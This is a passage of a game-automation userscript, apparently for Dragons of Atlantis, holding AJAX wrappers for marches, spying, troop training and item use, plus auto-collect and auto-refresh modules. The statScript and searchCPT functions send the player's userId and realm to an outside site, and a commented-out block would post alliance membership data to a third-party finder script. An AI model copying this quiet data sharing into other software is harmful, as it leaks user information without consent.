			},
			battleReport: function(report_id, player_id, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				new MyAjaxRequest('reports_read', 'reports/battle/' + report_id + '/player/' + player_id + '.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						var msg = rslt.dat.result.report_notification;
						var rpt = {
							id: msg.id,
							created_at: msg.created_at,
							summary: msg.summary,
							type: msg.report_type,
							from: msg.from,
							unread: (is_null(msg.read_at) ? true : false),
							report: (rslt.dat.result.report ? rslt.dat.result.report : null)
						};
						if (Messages.activity[report_id])
							Messages.activity[report_id].mergeWith(rpt);
						else Messages.activity[report_id] = cloneProps(rpt);
						if (callback) {
							callback(rpt);
							return;
						}
					} else verboseLog('Ajax.battleReport ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
					return;
				}
			},
			setCustomization: function(unitName, armor, scales, callback) {
				var t = MyAjax;
				var p = {};

				p = t.addMainParams();
				p['unit_name'] = unitName;

				if (armor) {
					p['customizations'] = scales + ',' + armor;
				} else {
					p['customizations'] = scales;
				}

				new MyAjaxRequest('customization', 'player_unit_customization/update.json', p, mycb, true);

				function mycb(rslt) {
					if(rslt.dat) {
						if (rslt.dat.result) {
							if (rslt.dat.result.success) {
								var dragon_name = rslt.dat.result.unit_type.substring(rslt.dat.result.unit_type.indexOf('::') + 2);
								Seed.dragons[dragon_name].slots = rslt.dat.result.slots;
								if (Seed.dragons[dragon_name].slots.scales == undefined)
									Seed.dragons[dragon_name].slots.scales = "GreenScales";
								if (Seed.dragons[dragon_name].slots.armor == undefined)
									Seed.dragons[dragon_name].slots.armor = "GreenArmor";

							}
						} else {
							verboseLog('Ajax.setCustomization ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
						}
					} else {
						verboseLog('Ajax.setCustomization ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			buildingUpgrade: function(cityId, buildingId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'put';
				new MyAjaxRequest('building', 'cities/' + cityId + '/buildings/' + buildingId + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success) {
							Seed.checkAddJob(rslt.dat.result.job);
						}
					} else verboseLog('Ajax.buildingUpgrade ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			cancelTraining: function(jobId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['job_id'] = jobId;
				p['_method'] = 'delete';
				new MyAjaxRequest('canceljob', 'jobs/' + jobId + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success) {
							delete(Seed.jobs[rslt.dat.result.job.city_id][rslt.dat.result.job.id]);
							Seed.updateCity(rslt.dat.result.city);
						}
					} else verboseLog('Ajax.cancelTraining ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			claimQuest: function(questName, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['quest_name'] = questName;
				p['_method'] = 'put';
				new MyAjaxRequest('claim', 'player_quests/claim.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							if (rslt.dat.quests.claimed) Seed.player.quests.claimed = cloneProps(rslt.dat.quests.claimed);
							if (rslt.dat.result.items) Seed.player.items = cloneProps(rslt.dat.result.items);
						} catch (e) {
							verboseLog(translate('could-not-claim') + ': ' + e.name + ' - ' + e.message);
						}
					} else verboseLog(translate('could-not-claim') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			collectResources: function(cityId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				new MyAjaxRequest('collect', 'cities/' + cityId + '/move_resources.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) Seed.updateCity(rslt.dat.city);
					else verboseLog(translate('Auto-Collect Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt.ok);
					return;
				}
			},
			dragonBreeding: function(male_id, female_id, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'put';
				p['male_id'] = male_id;
				p['female_id'] = female_id;
				new MyAjaxRequest('breeding', 'dragons', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success)
							Seed.checkAddJob(rslt.dat.result.breeding_job);
					} else verboseLog('Ajax.dragonBreeding ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			dragonHandle: function(options, callback) {
				/* options : { dragon_id, method, building_id }
		 method delete = Dismiss a dragon
		 method put = Remove a dragon from roost
		 method put + a roost building id = Set a dragon in the roost (boosts activated) */
				if (!options.dragon_id) return;
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = (options.method || 'put');
				if (options && options.building_id) p['building_id'] = options.building_id;
				new MyAjaxRequest('dragonHandle', 'dragons/' + options.dragon_id, p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success) {
							if (options.method == 'delete') {
								delete(Seed.sanctuary_dragons[options.dragon_id]);
								if (Data.options.sanctuary.feeding[options.dragon_id]) delete(Data.options.sanctuary.feeding[options.dragon_id]);
							} else {
								Seed.player.boosts = cloneProps(rslt.dat.boosts);
								try {
									for (var i in rslt.dat.result.dragon) {
										var dragon = cloneProps(rslt.dat.result.dragon[i]);
										var dragon_name = dragon.type.substring(dragon.type.indexOf('::') + 2);
										dragon_name = (dragon_name == 'CityGreatDragon') ? 'GreatDragon' : dragon_name;
										dragon.name = dragon_name;
										var dragon_rank = sanctuaryDragonRank[dragon.rank];
										dragon.type = dragon.gender + '-' + dragon_rank;
										dragon.subtype = ((i == 'city_great_dragon') ? 'great_dragon' : i).replace(/ |_/g, '-');
										Seed.sanctuary_dragons[dragon.id] = cloneProps(dragon);
									}
								} catch (e) {
									rslt.ok = false;
									rslt.errmsg = 'Exception - ' + e.toString();
									verboseLog('Ajax.dragonHandle ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg)
								}
							}
						}
					} else verboseLog('Ajax.dragonHandle ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			dragonFeeding: function(dragon_id, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				new MyAjaxRequest('feeding', 'dragons/' + dragon_id + '/feed', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success)
							Seed.checkAddJob(rslt.dat.result.feeding_job);
					} else verboseLog('Ajax.dragonFeeding ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			getMinigame: function(type, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['ticket_type'] = type;
				new MyAjaxRequest('minigame', 'minigames/index.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						if (callback) {
							callback({
								ok: rslt.ok,
								list: rslt.dat.result.prize_list,
								id: rslt.dat.result.minigame_timestamp,
								ticket: rslt.dat.result.has_free_ticket,
								golden: rslt.dat.result.has_free_golden_ticket
							});
							return;
						}
					} else verboseLog('Ajax.getMinigame ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
					return;
				}
			},
			marchRecall: function(cityId, marchId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'delete';
				new MyAjaxRequest('cancelmarch', 'cities/' + cityId + '/marches/' + marchId + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.result.success)
							Seed.updateCity(rslt.dat.result.city);
					} else verboseLog('Ajax.marchRecall ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			marchBusy: false,
			marchSend: function(cityId, x, y, generalId, units, ownerId, callback) {
				var t = MyAjax;

				t.marchBusy = true;
				var dragon_type = null;
				var found_in_list = false;
				var u = {}
				var mt = false;
				var sendTroops = "{";
				for (var pu in units) {
					if (units[pu] > 0) {
						for (var gd = 0; gd < Seed.dragonList.length && !found_in_list; gd++) {
							if (Seed.dragonList[gd].type == units[pu]) {
								found_in_list = true;
								dragon_type = units[pu];
							}
						}
						u[pu] = units[pu];
						if (mt == true) {
							sendTroops += ',';
						}
						sendTroops += '"' + pu + '":' + units[pu];
						mt = true;
					}
				}
				sendTroops += "}";

				var p = {};
				p = t.addMainParams();
				p['march[x]'] = x;
				p['march[y]'] = y;
				p['_method'] = 'post';
				p['march[units]'] = sendTroops;
				p['march[general_id]'] = generalId;
				p['march[march_type]'] = 'attack'; /* Fix to send only spies in attack */
				new MyAjaxRequest('marches', 'cities/' + cityId + '/marches.json', p, mycb, true);

				function mycb(rslt) {
					t.marchBusy = false;
					if (rslt.ok) {
						try {
							rslt.dat.result.job.ownerId = ownerId;
							if (rslt.dat.result.city.marches) {
								for (var i = 0; i < rslt.dat.result.city.marches.length; i++) {
									if (rslt.dat.result.city.marches[i].id == rslt.dat.result.job.march_id)
										rslt.dat.result.city.marches[i].ownerId = ownerId;
								}
							}
							Seed.updateCity(rslt.dat.result.city);
							if (dragon_type !== null && Seed.dragons[dragon_type])
								Seed.dragons[dragon_type].is_in_city = false;
						} catch (e) {
							debugLog('***********' + e);
						}
					} else verboseLog('Ajax.marchSend ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			marchSpy: function(cityId, x, y, units, ownerId, callback) {
				var t = MyAjax;

				t.marchBusy = true;
				var u = {}
				var mt = false;
				var sendTroops = "{";
				for (var pu in units) {
					if (units[pu] > 0) {
						u[pu] = units[pu];
						if (mt == true) {
							sendTroops += ',';
						}
						sendTroops += '"' + pu + '":' + units[pu];
						mt = true;
					}
				}
				sendTroops += "}";

				var p = {};
				p = t.addMainParams();
				p['march[march_type]'] = 'spy';
				p['march[y]'] = y;
				p['march[units]'] = sendTroops;
				p['_method'] = 'post';
				p['march[x]'] = x;
				new MyAjaxRequest('marches', 'cities/' + cityId + '/marches.json', p, mycb, true);

				function mycb(rslt) {
					t.marchBusy = false;
					if (rslt.ok) {
						try {
							rslt.dat.result.job.ownerId = ownerId;
							if (rslt.dat.result.city.marches) {
								for (var i = 0; i < rslt.dat.result.city.marches.length; i++) {
									if (rslt.dat.result.city.marches[i].id == rslt.dat.result.job.march_id)
										rslt.dat.result.city.marches[i].ownerId = ownerId;
								}
							}
							Seed.updateCity(rslt.dat.result.city);
						} catch (e) {
							debugLog('***********' + e);
						}
					} else verboseLog('Ajax.marchSpy ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			membership: function(alliance_id, id, method, callback) {
				var t = MyAjax;
				var p = {}, json = 'alliances/' + alliance_id + '/memberships';
				p = t.addMainParams();
				if (method == 'put')
					p['alliance_membership[approved]'] = 'true';
				if (method == 'invite')
					p['alliance_membership[player_id]'] = id;
				else {
					json += '/' + id;
					p['_method'] = method;
				}
				new MyAjaxRequest('membership', json, p, mycb, true);

				function mycb(rslt) {
					if (!rslt.ok) verboseLog('Ajax.membership ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) {
						/*new Ajax.Request('script.calciumscript.com/finder.php', {
							method: 'post',
							parameters: {
								result: rslt,
								type: 'membership'
							}
						});*/
						callback(rslt);
					}
					return;
				}
			},
			messageDetail: function(id, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				new MyAjaxRequest('reports_read', 'reports/' + id + '.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						var msg = rslt.dat.result.report_notification;
						var d = {
							id: msg.id,
							created_at: msg.created_at,
							summary: msg.summary,
							type: msg.report_type,
							from: msg.from,
							unread: (is_null(msg.read_at) ? true : false),
							report: (rslt.dat.result.report ? rslt.dat.result.report : null)
						};
						if (Messages.details[msg.id])
							Messages.details[msg.id].mergeWith(d);
						else Messages.details[msg.id] = cloneProps(d);
						Messages.updateUnreadCount();
						if (callback) {
							callback(rslt.dat.result);
							return;
						}
					} else verboseLog('Ajax.messageDetail ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
					return;
				}
			},
			messageDelete: function(ids, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'delete';
				p['ids'] = ids.join('|');
				new MyAjaxRequest('reports_del', 'reports/bulk_delete.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						for (var i = 0; i < ids.length; i++) {
							if (Messages.details[ids[i]]) delete(Messages.details[ids[i]]);
						}
						Messages.updateUnreadCount();
					} else verboseLog('Ajax.messageDelete ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt.ok);
					return;
				}
			},
			messageList: function(cat, numpage, count, callback) {
				var t = MyAjax;
				if (!cat) {
					cat = 'all';
				}
				var npage = (numpage == -1 ? 1 : numpage);
				var p = {};
				p = t.addMainParams();
				p['count'] = count;
				p['category'] = cat;
				p['page'] = npage;
				new MyAjaxRequest('reports', 'reports.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						Messages.total_count = rslt.dat.result.total;
						if (rslt.dat.result.report_notifications) {
							var msgs = rslt.dat.result.report_notifications;
							for (var i = 0; i < msgs.length; i++) {
								var d = {
									id: msgs[i].id,
									created_at: msgs[i].created_at,
									summary: msgs[i].summary,
									type: msgs[i].report_type,
									from: msgs[i].from,
									unread: (is_null(msgs[i].read_at) ? true : false)
								};
								if (Messages.details[msgs[i].id])
									Messages.details[msgs[i].id].mergeWith(d);
								else Messages.details[msgs[i].id] = cloneProps(d);
							}
							Messages.updateUnreadCount();
						}
						if (callback) callback(rslt.dat.result);
						return;
					} else verboseLog('Ajax.messageList ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
					return;
				}
			},
			messageSend: function(subject, body, id, to_player, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				if (to_player)
					p['player_id'] = id;
				else p['alliance_id'] = id;
				p['message[subject]'] = subject;
				p['message[message]'] = body;
				new MyAjaxRequest('message', 'messages.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (callback) {
							callback(rslt.dat.result);
							return;
						}
					} else verboseLog('Ajax.messageSend ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
				}
			},
			pollingList: function(callback) {
				var t = MyAjax;
				var p = {};
				new MyAjaxRequest('reports', 'poll.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						if (callback) {
							callback(rslt.dat.result); /* should find unread_count (number) and next_attack (number) */
							return;
						}
					} else verboseLog('Ajax.pollingList ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(null);
					return;
				}
			},
			researchStart: function(cityId, researchType, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'post';
				p['research[research_type]'] = researchType;
				new MyAjaxRequest('research', 'cities/' + cityId + '/researches.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						Seed.updateCity(rslt.dat.result.city);
						Seed.checkAddJob(rslt.dat.result.job);
					} else verboseLog('Ajax.researchStart ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			save_sound: function(callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['cookie'] = '{"DoALocalSoundKey":{"sound":0,"music":0}}';
				new MyAjaxRequest('cookie', 'cookie/save.json', p, mycb, true);

				function mycb(rslt) {
					if (!rslt.ok) verboseLog('Ajax.save_sound ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt.ok);
					return;
				}
			},
			saveMinigame: function(id, type, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['ticket_type'] = type;
				p['minigame_timestamp'] = id;
				new MyAjaxRequest('save_minigame', 'minigames/save_result.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							if (rslt.dat.result.items) Seed.player.items = cloneProps(rslt.dat.result.items);
							Seed.player.tickets.gold_club = rslt.dat.result.tickets.fortunas_chance;
							Seed.player.tickets.fortunas_chance = rslt.dat.result.tickets.gold_club;
							if (callback) {
								callback({
									ok: rslt.ok,
									item: rslt.dat.result.item_won
								});
								return;
							}
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.name + ' - ' + e.message;
							verboseLog(translate('Save minigame Error') + ': ' + e.name + ' - ' + e.message);
						}
					} else verboseLog(translate('Save minigame Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			setDefenseForce: function(cityId, units, callback) {
				var t = MyAjax;
				var u = {};
				var mt = false;
				var defenseForce = "{";
				for (var pu in units) {
					if (units[pu] > 0) {
						u[pu] = units[pu];
						if (mt == true) {
							defenseForce += ',';
						}
						defenseForce += '"' + pu + '":' + units[pu];
						mt = true;
					}
				}
				defenseForce += "}";
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'put';
				p['defense_force[units]'] = defenseForce;
				new MyAjaxRequest('defense', 'cities/' + cityId + '/defense_force.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							Seed.updateCity(rslt.dat.result.city);
						} catch (e) {
							debugLog('***********' + e);
						}
					} else verboseLog('Ajax.setDefenseForce ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			switchDefensiveTower: function(cityId, onOff, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'put';
				p['defensive_tower'] = onOff ? '0' : '1';
				new MyAjaxRequest('defended', 'cities/' + cityId + '/defensive_tower', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						verboseLog(translate('switchDefensiveTower OK'));
						Seed.updateCity(rslt.dat.city);
					} else verboseLog(translate('switchDefensiveTower Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
				
			},
			switchDefense: function(cityId, onOff, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['callback'] = 'function Function() {}';
				p['_method'] = 'put';
				p['defended'] = onOff ? '0' : '1';
				new MyAjaxRequest('defended', 'cities/' + cityId + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						verboseLog(translate('switchDefense OK'));
						Seed.updateCity(rslt.dat.city);
					} else verboseLog(translate('switchDefense Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			TransportMarch: function(cityId, x, y, units, resources, ownerId, callback) {
				var t = MyAjax;

				t.marchBusy = true;
				var r = {};
				var trs = false;
				var sendResources = "{";
				for (var pr in resources) {
					if (resources[pr] > 0) {
						r[pr] = resources[pr];
						if (trs == true) {
							sendResources += ',';
						}
						sendResources += '"' + pr + '":' + resources[pr];
						trs = true;
					}
				}
				sendResources += "}";
				var u = {};
				var mt = false;
				var sendTroops = "{";
				for (var pu in units) {
					if (units[pu] > 0) {
						u[pu] = units[pu];
						if (mt == true) {
							sendTroops += ',';
						}
						sendTroops += '"' + pu + '":' + units[pu];
						mt = true;
					}
				}
				sendTroops += "}";

				var p = {};
				p = t.addMainParams();
				p['march[type]'] = 'TransportMarch';
				p['march[y]'] = y;
				p['march[resources]'] = sendResources;
				p['march[units]'] = sendTroops;
				p['_method'] = 'post';
				p['march[x]'] = x;
				new MyAjaxRequest('marches', 'cities/' + cityId + '/marches.json', p, mycb, true);

				function mycb(rslt) {
					t.marchBusy = false;
					if (rslt.ok) {
						try {
							rslt.dat.result.job.ownerId = ownerId;
							if (rslt.dat.result.city.marches) {
								for (var i = 0; i < rslt.dat.result.city.marches.length; i++) {
									if (rslt.dat.result.city.marches[i].id == rslt.dat.result.job.march_id)
										rslt.dat.result.city.marches[i].ownerId = ownerId;
								}
							}
							Seed.updateCity(rslt.dat.result.city);
							Data.marches.ressources[rslt.dat.result.job.march_id] = cloneProps(resources);
						} catch (e) {
							debugLog('***********' + e);
						}
					} else verboseLog('Ajax.marchSend ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			troopTraining: function(troopType, troopQty, cityId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'post';
				p['units[quantity]'] = troopQty;
				p['units[unit_type]'] = troopType;
				new MyAjaxRequest('training', 'cities/' + cityId + '/units.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						Seed.updateCity(rslt.dat.result.city);
						Seed.checkAddJob(rslt.dat.result.job);
					} else verboseLog('Ajax.troopTraining ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			troopReviving: function(troopType, troopQty, cityId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['units[quantity]'] = troopQty;
				p['_method'] = 'post';
				p['units[unit_type]'] = troopType;
				new MyAjaxRequest('resurrect', 'cities/' + cityId + '/units/resurrect.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) Seed.checkAddJob(rslt.dat.result.job);
					else verboseLog('Ajax.troopReviving ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			useItem: function(cityId, url, jobId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['job_id'] = jobId;
				p['_method'] = 'delete';
				new MyAjaxRequest('items', 'player_items/' + url + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							if (rslt.dat.result.items) Seed.player.items = cloneProps(rslt.dat.result.items);
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.name + ' - ' + e.message;
							verboseLog(translate('March speedup Error') + ': ' + e.name + ' - ' + e.message);
						}
					} else verboseLog(translate('March speedup Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			useSingleItem: function(url, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'delete';
				p['quantity'] = 1;
				new MyAjaxRequest('items', 'player_items/' + url + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							if (rslt.dat.result.items) {
								var tabIt = [];
								for(var it in rslt.dat.result.items) {
									if(rslt.dat.result.items[it] != Seed.player.items[it]) {
										verboseLog('Push : ' + translate(it));
										tabIt.push(it);
									}
								}
								rslt.diff = tabIt;
								Seed.player.items = cloneProps(rslt.dat.result.items);
							}
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.name + ' - ' + e.message;
							verboseLog(translate('Single item usage Error') + ': ' + e.name + ' - ' + e.message);
						}
					} else verboseLog(translate('Single item usage Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
			useMoreItem: function(url, nb, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'delete';
				p['quantity'] = nb;
				new MyAjaxRequest('items', 'player_items/' + url + '.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						try {
							if (rslt.dat.result.items) {
								var tabIt = [];
								for(var it in rslt.dat.result.items) {
									if(rslt.dat.result.items[it] != Seed.player.items[it]) {
										verboseLog('Push : ' + translate(it));
										tabIt.push(it);
									}
								}
								rslt.diff = tabIt;
								Seed.player.items = cloneProps(rslt.dat.result.items);
							}
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.name + ' - ' + e.message;
							verboseLog(translate('More item usage Error') + ': ' + e.name + ' - ' + e.message);
						}
					} else verboseLog(translate('More item usage Error') + ': ' + rslt.errmsg);
					if (callback) callback(rslt);
					return;
				}
			},
            searchCPT: function(type, search, callback) {
				var t = MyAjax;
				var p = {};
				p['realmId'] = SERVER_ID;
				p['type'] = type;
				p['search'] = search;
                p['version'] = api_version;
				p['timestamp'] = toNum(serverTime());
                
				new MyAjaxRequest('other', 'https://www.calcium-pro-tool.com/CPT/search.php', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						
					}
					else {
						verboseLog(translate('CPT Search error') + ': ' + rslt.errmsg);
					}
					if (callback) {
						callback(rslt);
					}
					return;
				}
			},
            statScript: function() {
				var t = MyAjax;
				var p = {};
				p['realmId'] = SERVER_ID;
				p['tool'] = scriptName;
				p['userId'] = C.attrs.userId;
               new MyAjaxRequest('other', 'https://www.calcium-pro-tool.com/CPT/script.php', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						
					}
					else {
						verboseLog(translate('Script stat error') + ': ' + rslt.errmsg);
					}
					return;
				}
			}
		};
		/******************************** MyAjax package *****************************/

		/******************************** Auto-collect package ***********************/
		var AutoCollect = {
			init: function() {
				var t = AutoCollect;
				t.setEnable(Data.options.autoCollect.enabled);
			},

			setEnable: function(onOff) {
				var t = AutoCollect;
				clearTimeout(t.timer);
				Data.options.autoCollect.enabled = onOff;
				if (onOff) {
					var time = (Data.options.autoCollect.delay * Data.options.autoCollect.unit) - serverTime() + Data.options.autoCollect.last_time;
					if (time <= 0) {
						t.doit();
					} else {
						t.timer = setTimeout(t.doit, time * 1000);
					}
				}
			},

			doit: function() {
				var t = AutoCollect,
					offset = 0;
				Data.options.autoCollect.last_time = serverTime();
				if (Seed.player.boosts && Seed.player.boosts.collect_resources) { /* Do not collect from OP if nano collector is running */
					actionLog(translate('Collected resources at outpost') + ' : ' + translate('pause').initCap() + ' (' + translate('boost-collect-week') + ')');
				} else {
					for (var out = 2; out < Seed.cities.length; ++out) { /* Start at 2 (0=Capital, 1=Spectral) */
						if (Seed.cities[out] && Seed.cities[out].id && Buildings.getCount(out, 'Silo') > 0) { /* Do not collect if there's no silo on OP */
							++offset;
							collect(out, offset * Math.randRange(5000, 10000));
						}
					}
				}
				var delay_time = ((Data.options.autoCollect.delay * Data.options.autoCollect.unit) + (Math.random() * 120)) * 1000;
				t.timer = setTimeout(t.doit, delay_time);

				function collect(cityIdx, delay) {
					setTimeout(function() {
						MyAjax.collectResources(Seed.cities[cityIdx].id);
						actionLog(translate('Collected resources at outpost') + ' <B>#' + cityIdx + '</B>');
					}, delay);
				}
			}
		};
		/******************************** Auto-collect package ***********************/

		/******************************** Falsh auto-refresh package *****************/
		var AutoRefresh = {
			timer: null,
			current_mouse: [0, 0],
			last_mouse: [0, 0],
			last_time: 0,

			init: function() {
				var t = AutoRefresh;
				t.setEnable(Data.options.flashRefresh.enabled);
			},
			setEnable: function(onOff) {
				var t = AutoRefresh;
				Data.options.flashRefresh.enabled = onOff;
				if (Data.options.flashRefresh.enabled) {
					t.last_time = toNum(serverTime());
					window.addEventListener('mousemove', t.onMouseMove, false);
					t.onTimeout();
				} else {
					window.removeEventListener('mousemove', t.onMouseMove, false);
				}
			},
			onMouseMove: function(event) {
				AutoRefresh.current_mouse = [event.clientX, event.clientY];
			},
			onTimeout: function() {
				logit('AutoRefresh.onTimeout');
				var t = AutoRefresh;
				clearTimeout(t.timer);
				if (t.current_mouse.join() !== t.last_mouse.join()) {
					t.last_time = toNum(serverTime());
					t.last_mouse = [].concat(t.current_mouse);
				}
				if (toNum(serverTime()) - t.last_time > Data.options.flashRefresh.delay * Data.options.flashRefresh.unit) {
					logit('AutoRefresh.onTimeout : ==> toggleFlash, 500 et 5000');
					t.last_time = toNum(serverTime());
					verboseLog('Flash refresh');
					setTimeout(toggleFlash, 500);
					setTimeout(toggleFlash, 5000);
				}
				if (Data.options.flashRefresh.enabled) {
					t.timer = setTimeout(t.onTimeout, 30000);
				}
			}
		}
		/******************************** Falsh auto-refresh package *****************/

		/******************************** Buildings package **************************/
		var Buildings = {
			getCount: function(cityIdx, type) {
				var nb = 0;
				for (var i = 0; i < Seed.cities[cityIdx].buildings.length; i++) {
					if (Seed.cities[cityIdx].buildings[i].type === type) nb++;
				}
				return nb;
			},
			getList: function(cityIdx, type) {
				var ret = [];
				for (var i = 0; i < Seed.cities[cityIdx].buildings.length; i++) {
					if (Seed.cities[cityIdx].buildings[i].type === type) ret.push(Seed.cities[cityIdx].buildings[i]);
				}
				return ret;
			},
			getLevel: function(cityIdx, type) {
				var build_list = Buildings.getList(cityIdx, type);
				if (build_list.length < 1) return {
					min: 0,
					max: 0
				};
				build_list.sort(function(a, b) {
					return a.level - b.level;
				});
				return {
					min: build_list[0].level,
					max: build_list[build_list.length - 1].level
				};
			},
			getById: function(cityIdx, bid) {
				for (var i = 0; i < Seed.cities[cityIdx].buildings.length; i++) {
					if (Seed.cities[cityIdx].buildings[i].id == bid) return (Seed.cities[cityIdx].buildings[i]);
				}
				return null;
			},
			setLevel: function(city_id, bid, level) {
				var cityIdx = Seed.cityIdx[city_id];
				for (var i = 0; i < Seed.cities[cityIdx].buildings.length; i++) {
					if (Seed.cities[cityIdx].buildings[i].id == bid) Seed.cities[cityIdx].buildings[i].level = level;
				}
				Tabs.Jobs.buildRefreshLvl = false;
				return null;
